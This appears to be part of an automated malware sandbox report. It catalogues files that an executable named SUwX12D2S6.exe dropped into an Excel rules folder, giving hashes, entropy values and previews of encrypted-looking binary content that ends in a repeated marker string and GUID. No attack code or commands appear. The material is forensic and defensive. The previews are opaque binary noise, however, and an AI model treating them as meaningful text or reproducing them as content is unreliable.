Preview:	<?xml..5.\|Yz#...le.....Z.<.~..L...b3h...:.....~.S..r[Yl..m...K.&....~.A....-...Y..{........[r.......i.b..pS..W8.J........"<...=.^....I<.o.:..A..L..`+eb.......h.4b"bg..8....B....H..RyiN..U)0.`Z..L....{....lC...Zg@.'.C..xC.o..Z.R.Rd\..f....!E...W..:..jj0-.r$n.....5m<.....i...W=6..\g..y.B...\7..@E.wn.CU.....Axk..C...F.....E(....'..f(.....$.....[..MZ.M.7...?.o....r;...~.W>...9..}NN.iF..1....8...Vt....A.p,.km..D..UdS.I.h...@.xY..q}.u&..u.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.916325563634776
Encrypted:	false
SSDEEP:	48:YRFOjvq3bEbwCRhsN4W9Zno3Vy6xaNBxl3vaOqesYFD:YRFOjMb6J/sNDlo3RaN9vPsY9
MD5:	EF38ECE09ED237C5B536397464755C7E
SHA1:	6037CEEDE294714E6D3029B5DA77D88C6541EDBF
SHA-256:	B8A5806221071CC4EDA86ABE04C3F51CBEC2CD7000BAAE676946D2DBE028F35C
SHA-512:	A6C95836C7BCE1FBE1DF26C6660B474E71C19FCD9C757DE3E94B8A99D39DECA2450C3D3DC96A38BE7E69EE68BF906BF2E8651046EDA8579544BDCBE0FCAACDE5
Malicious:	false
Preview:	<?xml.`.S....:..6.8..O..%..C_..X.."}N......V)..O..J..[.;]........5.........A..V..K.z....k....l.{u..u...02]b8....bA..9.^..^.5..Vod./.`.T.T.`..!...g.ie..@....D.H.3.syM.P.]...asW.Y07.S(......P.D\|Wl.Z/..=D.....p..U%~..P.6{.....P...1..>Zk...\.o._..].xo.t...#}..k.@...l...'.q.=....X..WO..'.+_`Y.){..f.v...D;....p.........d.}.)X..j._'n..F.$..}..S.........m.VH.....P..Hy_..}K...\|........a-./......p.P....a..d......{.&2.....J.,B...?..0=.?.........I....:...p...;..Kg..\|\zhu..S.....8u...;Q._.M.Q3x+=\|.......r%......O~.Azsei98..N.w........Q.A.g.....jb..@Pa.V..x......X5T...0W.b.u.C@.5..V).....'..!J.......y..mNBVP......?....O~.,.........`Wp;.6e..u..S/........T...f....[..#.&....%...&.^.ix.q/.N...B...G.....~..u..Q...p.d...8...mE...IW.!..f.u...A.....J.{.5.qI.5.]N..3.ew...6p.O..-.h$..f....,W~....KC...[s{~..6e....R\q..Q....l._....R....y.t..9{.g..1T.......IF.q.....[.j.i..v<.u.8g?... ....U.....XJ.d....{.Uj. .#_.f..#F...d.t....6.\|.....0 ..].!.w...x.......D"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.698125870217414
Encrypted:	false
SSDEEP:	12:sA0B+BGOMulgPtG1Fhax/KEDxuAVPKrFBmFDTWwOD8XQaGXF1KSzyA2W5jVcii9a:sA0ODg1G1FhQbxujBwE8XPGXF1KVPwVX
MD5:	09064C2419B127E30E5F2548E1E43620
SHA1:	B4562DFF19C1A085345D230F2ADEDEFD75CBE882
SHA-256:	56074DEE3C9F0B88E5867A96C625FD28D877E4575C4510F52BE524A971D1326C
SHA-512:	1ED743FAB9486CEE2A3D5E4B8BC1C95D5A8C9AFE414214CCE34759C15678C68FD11B81A48F6E653EA4D8C7606E0BC5B99BBBB3F78604C6A606427EF5D43EFF65
Malicious:	false
Preview:	<?xml.o........nC../._<..1.{D......+...Ms...9..e.).....4....j.......M.c.Lj:Oz.....)..O4..Y...f.1..a...EF.....W.]......y..,r.\....i.\|.C.../[d....Fr.g......%.kh.!....r.Fs...<~.@..s"..Y;.......s@;.q......Z...J.............gdr@......T.aK1-.....{u.^...#b..sZ.Q.....?.:.C\|Y..B..K.fy&G.?.Cmrn..u...m.f.p...?...=A...@W."%.p./...$#...B..b...%.m...?.X... D.M......!...Z9.m....v...F...o.NQ..1F[.`U.e{=...9 ..):_....8`0.i..s....a...R.`....c..#&.l&.......-..o.....%].7...b..6...=..L(1.........]G.....$.).~.O$.S3r\|.._.?.)....yc<.Mj.1..OPl......=...C_..X0n......N......o.1._....s}. ... E..Sz1...k...Kj..8a.....0.p..J......Y...e...N.$..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.689214450225022
Encrypted:	false
SSDEEP:	12:sLKK+N44I/3QKnWmJ7azKkL594sctFl6STg63ducRuDM7AkjVcii9a:nm4I/hnWaMLwsQg63ducRuD7uVbD
MD5:	2CD147ABD3D81389A830A033FE813D07
SHA1:	5DD3CD64C6E2C5CA3007731B97ADCA2040C8A81C
SHA-256:	897BB8CAFBAED660AD189A318CDB8561D71C66A682A5A66C364E54A33F8121D6
SHA-512:	DF5DB5CA76AF7ED61DFF91E62347559633FA23DD59A8DDEB0D34148C2DB6554C70CFC053CC63F6B707AD3D22D5569BBCEBC7632E93D8B5E0E018328E7D7FEAB6
Malicious:	false
Preview:	<?xmlRu.].......W...9.>q.Q?....6.#o@........ 2I]..zo...]a/.."..y8.;V.u.1......B~.Mx....2e.t.s......c!.......F"...(......e)"...k.=...\....D..%}.R.<M..-..z.....%O0...s.......0......]..W.J......gb...H....<W..#..M..P...........KE....k.hl..fc..47...O_H......_.t..0#v..Q{....'.}...Y.N.>......t.....}Z6..9.....,........AR.o...A<7#..Y....V.s.&....$.H..!(,%piw.....#&..;G+.....Y.?f-).6"..d..../...v9ji..Q.....x.<.;x.>:a...R.I)..g.OMS..z..d.h[.....x)....+..I..:;HJ]...a.....ls....9.1.....&.@.}.>."o.-4ox.....h..ns ....U.s...VT./....S.i..>.P.hJ...R.Q.R..(%O.F..b..I........;`.c...~.0\.YZ.U...H.0.ea..wy...}.E.x.j.........M7.k./..l7...@;.o@.......s.2g..\.....y...B.nN.$P...m....".3.A..d..7d0.d.1<.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.676660646096777
Encrypted:	false
SSDEEP:	12:89MQP8k0eVKX0eVgZj0bhRQOymsM10KPFYMsi7MrgeWx1pPMFcyFY/bBL7jVciik:ra8Z9X/gaPoM1zdCihNyU1LVbD
MD5:	7D6FFBDE97F763B606CE18E9559A6F7B
SHA1:	E2FDC5A7BEE91C68343D4743ECCDACFFDB4003F6
SHA-256:	E567358141E0B04039EBB4491FC8CDE38CB49EA3129FFC2D21F3CEBF75E46B81
SHA-512:	A47A292CC1C3000B249CF66B1044CC8A278D784DA8D22B1BF81B589D178B33139F3543DAD811DDE637815A1FB8E247EF9C4737F1F385F5285E57B4888CC19538
Malicious:	false
Preview:	<?xmlx...)....l....e...re......+..R....=.+..,P.A%N.....j...Di.<(s...:x.F.TZT.QSsH.2.&I3.@.E/.>..o.)...[Yb.r........%....?n.. .:K...."9.l..gs..i=$.W."@.....#..mr{.4I{t.w....n..2.EO..kd...i%..J..-.B.(a.....+.9.'..Q.`4..(...+..sL.4.D8..5.....&..S^..Yi.z........7.\|..gy....n..E39v.KP.......D....5}.:.}.Hv.@.q.^[..9.n..8!P..^T.f..u.#W..%....l.:.lJ....T!Ql.....luZ...J..X.....}.P.leZ/.}Hk0...M.Hm`..[o.z./.7..:.O..\3.$4+..i...<........oq.O.F.T......Z.dgW.A...\nD.H.%(.6.......A..p..TRe..@...A..$..V.../..?.5..A.._R.....kV.0..S.LdUj.B$..K.!w&...=.......T>.;k%1......K/.Zw.0d.M$=...4...........I...T&...$..&..n"_....,.......X{...+{O...,..\.E.B....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.709338752697269
Encrypted:	false
SSDEEP:	24:0JdYzK3FiKQXCr4GS7cEf6ddCbdmjSVbD:oRgXCfS7XC6wSFD
MD5:	A04272ABC7AE4D5593505960491BA79D
SHA1:	9CF3074F89EF51DE95802CAF5C91C0FA8793158A
SHA-256:	245EAD5932E3C96D8518EC7559E3DA472E4BA1441E45C49D690B9E97690FD1FC
SHA-512:	127ABC67A75D694462015B00E36EDC6E2CC7980B9C0A725E13AC12103DE1B2B21E88B1CEBD3BFD44416411CDC08A37E8AF4699CDD2D5ACE40831F9F4BD47727C
Malicious:	false
Preview:	<?xml\..............H!&L...Yc..oot.EE.N..O......`Ep....J..\..`.....!.(%...HR..Ok....p.o.....~. $D...0.MIp..Y...p.a.c.r.!...7....."..`..T...u...H.u.sK.Pp..BB<......1@...<...I....=r.Y..?.....fj=.&.m.......H.w.v.(...9../..U.....\|`Bi...r.....}..(............;... ../.fp^.F.....A...c.'0V.8....0.......zj.C..K.".U.KU[..k..Z8F.m...t.Zr......(..s...%..l.S.$.Dc.......~b...._"1.p....../....#....}T.....q.........`~...oP("...ZV..}.3..K...=Vz..O+..d0 ..jy...\...;...L..L9)Yh....\|....DEw.;.i..y...g..0;....W.......e`QCU1...R.....L...=.d.A`.p...5!v-f.2 .QiL28.6....'Zr.....h......9%..@.Z..K..o...:.3...N......:.>o....L..A..nW.-..k.Fv...%....p.B....O.$...qiG...b[....~.8c....yX.........O+..ik.t..;itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.75010733769574
Encrypted:	false
SSDEEP:	24:eCsihoaRJsbHfcwlokJugMDuBGQQHidZgsVbD:VsepJsJldW1HQtFD
MD5:	BA09C6CCBD96A043688070867BD2366B
SHA1:	8AB38EC040149AFE869F8F213E3F97C0E23E5196
SHA-256:	E1B09CEAD9FA8EADBE7A3ABEE65EC4BFB64D217AE1E4E9F68DF31C7F95904AED
SHA-512:	9184FB3978BA9F4D2C62041A50AB0483429F5D0EA8265D1CA93C8D7619440F12B4ABA14FC7F805926EF8529BC92E745970D68A2F9B50EB01BC081E66E2B3F183
Malicious:	false
Preview:	<?xml..s!..y..?.....[$..L8...D.yO.dh.A.. /..&.FT..d.B..0<d5fQ..F4E.1...r..Wv.b...M.:I.s]a.......ykloZ..a.)..f..n>...x.....y.V1sZ..L..v..@L.x..k......w.).B .d=....X.>..... ...v....LT..+...,.g.x{..m.p.&.....1...vJ.8...I...s..9..C....d.Qui...Om.....c...cG.A%....(.......$l.j_.R..I.A....L...-....I.V....o........td....%3n.....:..$_\|.\~u..Fv?0.5..^.).=L.....4=.(.=...Z=t=....)...X..1..Q}..o".......h.....kw.V...=.9.....%d...Pk..0.Aa..)E.O.2.].>Nr.s@n4. .^...sw..C....i.-...E.:....\.....2Y.k...)T..\...X..eB.....7..t...j....."W..;40......M......kX....%1s.Wqr....\|...u..1...S.6....N."...<...+.. ..A>....e>..H..=i.i...\|..'q..!)`]}........5..........Mr.G."...!....r$X$Lo'........vk.'V....)s.....FJ.RPz........='..lzdh.a..."O...z..6....rpKb=..~.W.}./.5.w..Fo......Z/...cP...d..B5.O.(.c....=u..+y.....+.f.Yh[..[w..t..U. a.Q>+...m.r.^~gq&..titkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.703587722227181
Encrypted:	false
SSDEEP:	24:z+yfCuruhB+FSHaQG6mIO0tCwIf56F7cVbD:ztKuKPG4aQxoDfgF7cFD
MD5:	37651CAB784F013D50874E38AB0621A4
SHA1:	80FB74FFB5BB65CC229F50861DE59A4F72FF85F4
SHA-256:	2787D5AD4E0ECD690C46BBE1BC34E3E50575248138BFA9E89526573BDB1D2197
SHA-512:	F0BBB9485065EA9CFBA64C0D3A1CFE0F999FB0CC2CDCC107C3421855C68D30AD44E61C90E6CEABC5CD4516F3D6EA528CBF4405E5316A52C299EB082317F9593A
Malicious:	false
Preview:	<?xml.(....$.b.......... 02.,L.0....Q.#.Bn)...b....4..7.$....]..A...>.EO.%...9)9.2).B:UA... .[A..3Y..?.K...1Fj..._.(0<Ml.P...^)..G(.w..J....5......-.].......-..]...c....w.Uu.Fa...i....]"...s.m..6[..P....I'.=.w..O.{G..2K.....y.G....T.b...;.>l..Fd...)..Qbr..WTt..8.1.3xy.P...d...MOD..gR.Ypb..2.u>.(..$..zU.8>z'.T6.B!..^.n..?.......KY^..d.<J.1....jU'...:..C.o.X\|....n.rT......b.Q..o.>....n..../?$S..Y.9./&#.]..g.Jc'..d.z~....</t........p.~.Pv..A.....ip......)......e..:J%z..]..W\|.qi)muy...h0#.x.`6.0....J..FE..3!,+=....#\......a...j.J...E.....b...{M..?D.h.if....~hpu2.?....A..UP#.....:....M..y.D...;..n..KT.[........%+..8=...~...8A.H.<$.N.0..4.v.D..E..%...PQ... F4.~.....q...f..$.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.694721642592616
Encrypted:	false
SSDEEP:	12:BOxLffm3HCOzfJyIUbU4kRB+7wy8Opbpg7KOa1IRMdPqGclRl6QANjVcii9a:BOlf8HB1ylbU4y+Tvi7KORsqGc/8NVbD
MD5:	6C81A61B8264861CCC38C5EEB85B3576
SHA1:	9441E50392BE4AB2FDF3498E8A341A86BE70D64A
SHA-256:	F5CA4C029E304DACDA9707E3EAFC45BECA07C4E473B272B390FA74E456D44A9F
SHA-512:	B2325805D6CC65C45958B31FE4A2013CC81CB501DFB897664B27942632D64C8D1ADF6F204FEE427F5368059093CBD1D68C0B9B17E1AED741AF175738FBE3D086
Malicious:	false
Preview:	<?xml.......=.........y..[......]....}.B2.}..DF.Q....2B.f...-.v...a..2B6\|....q....b^....c..,../.YR.]./.A..F..b...(dP/..m....~-]E....^T.qJ..c.....]..H.,.?..tl..K{M....F........-..@.h..V...Bb..)....4.._..3!...j.-....y..A.0(..0Y..k...i.z.....'.#....+......E...Z.hrY..@t....NW...#)..]1H..{.(.;{.. ...T..V;....Q.Ry...E.y.."L..n...,.k1@..;...MW.v{..D<....#k4.#.^.2.s.R..8.&....{.......Gg...\...(.....]H...1Tl..$.h.NC...tL^.y.4..u..A#@..p..~..O..j:p....g.?..V.......).Fu..G....#..L.G.7-/.....\.8..d'....n..e..b.N^JX...../.i..r:.AV.Q..'."....=I#.*.J.wR.D;^.}.s.>.!jb...1pg..n.Y..>.N.Y.._I.a.n..IY...}...K.]A...A'.e&'..7...5...eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.796488565085211
Encrypted:	false
SSDEEP:	24:ba8JQhv+NAWa525otKAvzCQyLEuo2GvkmRT4vPSuVbD:bbqn7tKAWxEuFBPSuFD
MD5:	C20EFAB4A505B29A20ECE516F1F56378
SHA1:	A814705E9A1143A026851C7290DB63AAAE002800
SHA-256:	127C84FAEDB3717373CBA9085BA86533D90F90B4DA753E9CEFE2E24729B7D64B
SHA-512:	F5CCE4D835031505CB28C60DFB1DDF8F553C92005A2FC8B804CBAEB8D22622E9E73AFF4DB2D4136EE185E491D1139284BA196C3F73F8FA958F639D8EBDBF8D48
Malicious:	false
Preview:	<?xml...M.C{.....\|.v._.Q\|.w...X....P)D...7....2........d\.I+..~.W...@4.d..Z..R.......d..WsB)....>...z..n.._.@.....: ...,..)..........C......8.3=<.,q...{.....)..p._.....o.....U..#..T0...$.......=.\..l...........u.1o...b...UP,.\.ru..[%...2b...6..<R...~q.`Z..m..z...c........mf.X..+2......k.....R....i.....,.`...7.*.`T.HU..kn..\|.-...<......h..5...lM.LJ.:l.VZ..^....t...bG..j.L9.am...`.X...........qJ..@.`...3.x4.5..^.j.f..O......1.z..A...bA.PUqm...F../)./>....'.yl..4+K..L...a..O.T.B.[..A.o..'..hH..C.To.O....w..J_.9..y.j.M..=..:H..F..0R..B.I..Z~..?......jEt...p.RI.....r.f..=.9.[..?......9C....(......l..\|!"....E.+@............~....\|X..o...:...\....@....&.~X.U..dH...{..#.....'..a.-.........1T8A[M7...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.73135085001332
Encrypted:	false
SSDEEP:	12:Jwy2OS0ai0oMc4C2reKGrk0rkLD9TmSi2NkCVuELTu5ZQtrUJiTSTlpl/icvYl3i:+vOS0aiiAKGrkIkLD9iSi2mCQAu5CtVE
MD5:	1C357295014FF2E100FC56E1471F8E9C
SHA1:	3D2DD5C5B0F5E252DEE681A2F37BB763AFCCDB81
SHA-256:	31FE9E950FAF2DB52DFB6C3FED2B0C3F371C7A424EF9FB39650F5D7ED7716EE2
SHA-512:	C7A6AEFF1E6E74CBECC29FB50F2D71664C992D70D72C6697E6691EA02B27C8CA38AF378DDE7DEBB3C5299235164C753132985BC9EB571AF5A16A0719AB9A7399
Malicious:	false
Preview:	<?xmlN....[.......".z3..rb"..".S....V..es;d....<.R1.=..u..@.I......rRfj..b...4.......k.........\|...?...sI#....I..4a....<.7..W..g..k.c.zB..X6...AH.9....7..#b[..;6$..y..L..........z..w...gtt.C.E.l(...i......C.....pcd.`....dP....r..n.k...+....".....7....{<.-.t.1...!U7..g.y.~.DJ.J=..~...)....oc.0M.....p.=.C.T.wR...[.....e.........Z.=4N(<s..0PF.}">..Q.a.2..}D..Po*...~.?r.W..^u8 ....9.$.{%T..).......1..0.....Y-..J...H........C.&.h.DB..I..7....@..~..S..t.n......D.{.f..:..k.f.w...x.^0.....:.Au^..\...V..;...:Pe.nT.5..N.".<v....[3.;.eh<r.o...._...G........}.x.W9.\|..ja...X.]....Da.{.."..og..#...V.O..Q.J........sPX.......0... -..m..%..T.MD.@J....G...v._itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.771851122466497
Encrypted:	false
SSDEEP:	12:/abe1YNx/zEW/04vWNAu60AAGk8w8+M4pl7t7sC69CTBjboITa4oWIex/uh519j9:/Y7/zX/0aWqH488plp6QjTzlluhpVbD
MD5:	4F422B55920DFBF90418231B956D0433
SHA1:	5EDB78E6A0FE9B8B7A3DFC7E1621FFADEB7A399D
SHA-256:	7014D02340D4502FA013B06180FB2621886C26905AEB170DF5D093BEAD28EEB0
SHA-512:	8D4B4635F0C2151B490498FAE539C096B004F346EA240E1C5589B8CF31D45D1CEC3F0207D2A47E11802D6BE2451A9F783246501013518F75D235862688E6CB57
Malicious:	false
Preview:	<?xml..jVP..\..G..y.c....9.pM7....=,....\|b.W..........U4..!..R}...P.1{.sD..=.3/nu..zt$?.&....'.y;...x.a..Wt....{"{I.-Y....."......D.Tz&$.>./,.Z+g$..;.N.j#H..`p_f........<.....};...09\{.............r......]..J..8...2......k.~.....oU.VUC.Q..#.;.x...C.N....}...5.@.zIw./..s}....@k....5.2...G.h.g......)L.u.....7...4^..h..@i..._(4K.\|.9.(Q....kd..F..N$........!t..3......(D_.......]\|.j../...v..i........[e.....c.].4U.2.......Sz~{.ff.. ..el\.{.(....a.......B... ......3.....y8qDl..6M_F.......(.......c.....A]......u./...n.j.....).....-G5.."......( .........c_f.n.H..r.Ho^k.......z.L.d.^9........F^....7..e.C...!.....AQRh...5).8G.....J.l.....O...<.i.p.u.."oy.O.6..7..K.+..#..c.......A"..pO*......Q..Y.e..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.710610437615217
Encrypted:	false
SSDEEP:	12:5zKacSWJHdJ+ooo8OeazPHGiA6Op4XudKRO7EOlvZWT2D6f4JhILU3xDGfW5jVcq:5zySWJHyYfhTqKROj4kmIyucfSVbD
MD5:	DFA08C2132142BC328B60990CD9E7C42
SHA1:	3CDF887511EDAB1F1744BBF3402C41069C25290F
SHA-256:	56789CE1525B722C37A0B8D9CBC3B7D45E5EEF1590CC1A07AA7AF7BE4177EF3D
SHA-512:	6B490C3BEDCB4A6FE2BCFB9C2D035F59CFFCDA8AB47A19E73907B3F67E304B733C0CA56B6E656F21B65F6B338F4E8C36EA1D01DD6DC5F11078DE6E4BF4A1F3CB
Malicious:	false
Preview:	<?xml...rz._.{T4.<.'.5..&o.X.\z..Q....j.@..D._>...O.....#.IV.7...0Wz.S%...@.^H..x.~..of.,N..=.q.....W./.x`..M.2.d.....k....$.)...m...os{.=.a{j.m......b..+..._H..Hd.p...`z.....e....df.G.9...6%....P.O.....y.B.;....D0.#p..H....&.!..b.(.L1..........jN..L.L..o....G....._..e....u`'.)....h.....U"}.r.......Jn.Jr3..nP (..: 3.n....~.Dc.. DG.......'.....f~....a.T..Q..@..s.....]:.g....m.z.H...O........u..<..Hjd.V.C9...&....;($..)..-..@.!.aD.P.h:j..s..`.1...K.S.Z1.C.......O.Y..........q.v(.I..;D-".".......y.........I..(.........I...7.P.:..[...<....@.2.(.j...xt.....1.S_.L......w.....q.y2....yHK.j\I..Z..'m`.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.732283501173097
Encrypted:	false
SSDEEP:	12:cLO2ZFenZie6U66tsnAYe9FSZl8sD7lH/nz0DiAaCt6ZcGydVuCYyzCrXxjVciik:SOTQ6YUF6R9nzFmocGydMEzUJVbD
MD5:	915F3A5F8F6186A0B1DA70E94B9B6E7D
SHA1:	44262E94B203C25FCB8575AE45D9D55A73C644FE
SHA-256:	A3007A0479CFD859ED1DC60E0ACAE6A84EEDD88EC584D592EFA3131542A55285
SHA-512:	F2BA2277133B6D28DC00BC824D0DCBEAC18B24228FDD80DB69114142D634936925C557A0673E8F62DD30E944AA22854C4139BABA5A633CA28ED1F49F7B209DC4
Malicious:	false
Preview:	<?xmla.P!.#..Zj..(o.......>..VZ..l.G..7.1"x.;.....02{..f...&m0W...~..cv....R...{.0....S.'.o./....Js..9..1..p...>..B..YJ,...a...W..D!....f....{.'....H.93...(..^G...m.v..x...f.W......&..@...4.U:.s"Y..Y.dh.......B.....M`.....L%....0.R..KZl5."i.Q.pH.....H./...>>..Oxk[2..t.n..C&..........AczM.-.3.8.hd.,}".8.k..8.1.h....S.w1.....Y..n.....D.iC...aT..].......G...<.D.......p..'Z..F.G.C{IJ.:....C...f.Ow./.....wA.n...._c...l....F.K4iM....cB......;1.......~.e.8v.c..".sXNb..CJ.y...-...1....c..8.!.5....r...E....k.....s.:.......&.JG.....IC...... ,#>....n..d........&.\|..{..a.. .]P..U..%L.IV.x..*}).w....!..e9.7.f..\|+...O^pG..\..M...'..i....^nI...\_t.CB..7..rT................s..I...7.qk.gD.<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6764889335543565
Encrypted:	false
SSDEEP:	12:20pkvTU3UXCXAR3RbrjHdBBx3lWxKKblrU4cDL8t7HyejVcii9a:2nvTeI6ARxv9R0xKo4bYVbD
MD5:	C8CE6BE4A7F3614B2D7E189FE1C759EE
SHA1:	AF85B4086655D3DAC8CB9C466C3115E62A7EAB9F
SHA-256:	8034DDE10E6E7299D61CA3B929C1A151D832D486C8D85074FF48E675F62A53F6
SHA-512:	A6F922B3DBD16A43B30C2E0E56D6538E670F3AD9F30A63B85741773FF0D44BDE78D1D9AEC0AE69FDA3B2C6B440849761B59B1810388A01ADCE6F0525DCFA0B4D
Malicious:	false
Preview:	<?xml.q.nb..A..iw..J.?..}.:T.#P.Q.....j9{.;Z...D...N1..j.....Q...Z...~..........{..e6. ..6..65.lZ....1ci_2....'..`.kHU..b+..z_...1...........=......w\|Z.).).<...&.Po...]..c]'.Y...B.....p..w'.+4.5.....fo...2....H..'Et.<z....Xl...^.....<..B.G..H..#Op...?....~.?/,).-4..\OPF.Y.I.&],.J.. \6G.e.....M.2..ni..A...\|......j@..y....0-.d.k.)F.Z....;.f`.h..;b@.5Ng....s...y.I.1C6.P$J\...s.:.V...\(>Y."y...t..B.;-.o6AK^".......VY/B.7p...,.'..-.].......n....n..f....'..xA_Q....Z.e5....E......^.......y...CF2.m.5..qP.. .Q...D.. W.h0~.%..<.....^?..2fN.8....v@.%V8....},./.>)..Y.j...\.?....a4.=s...*f.R.5#.f.L.3.H.Avc.. ........7...dH.g6W...P..9_...`"Na.['.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.719883372294986
Encrypted:	false
SSDEEP:	12:HZ1Ff58Ek209jMkapUSHgDLy3oU+6bpnkBwzEbPa5X1irqwSePHgwssTIYCxw8d1:HB4209ADFe+YU3mSUPa14qwS2CrYsVbD
MD5:	1068E5A341DEC7AA4D7684FBF615B89F
SHA1:	A74431109B61A79489920C101D411CC74A7A49BA
SHA-256:	B0CF3E5B8B3283CE7F03F206453324B2E2141AEA77910F6A16FF337EF843B570
SHA-512:	E380C6086758A75A60293514B3377F09BF890C98EE2000E75EBA50908A9728AC4481D1D5D54A2511C8C0BAECA665506C0F0D0705BA3BCE3E2F794E50EEF9C654
Malicious:	false
Preview:	<?xml..B3..d.j.7I...p.t...5.....1..M.............-1.....@..\|Z..l..\!.H..g#L......(u#(....rl..!.k...........L..d..o.&...!...>...4o-Y....[Q....^W.!.....m....,.......;...dW`n......"..4$.9LH.(#.^R-...S9...n?..s...4E..Z.?.M.,...l......}.$.J..A[M2.W.`._....f.."O..^X...$......@....B....>.@m..tG....V....H..s..i.t1.s..)1As...=;..cV..9.`<T..S.]`.?......=...c...........o.h....aI.Q..0..L$...g.\....A.....v"l..i>..o.#T..\.Md%......;.,...s.z.g.......5........<..5..\.V&.1OU.x.Ca.............MH}...n....... ...J.........x..-#.g...t.M2.0u .6E....]...+oo:.dk.U.9.G.B....}.7..y.7....._g_.....:...D.........t.A.....vu*..I.+.4.Ca.6D!B.f...WC..>7....../...'.>......!.....E....(h."X.S}...-r..4....a.8{.7.q..l.Eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.718475543042127
Encrypted:	false
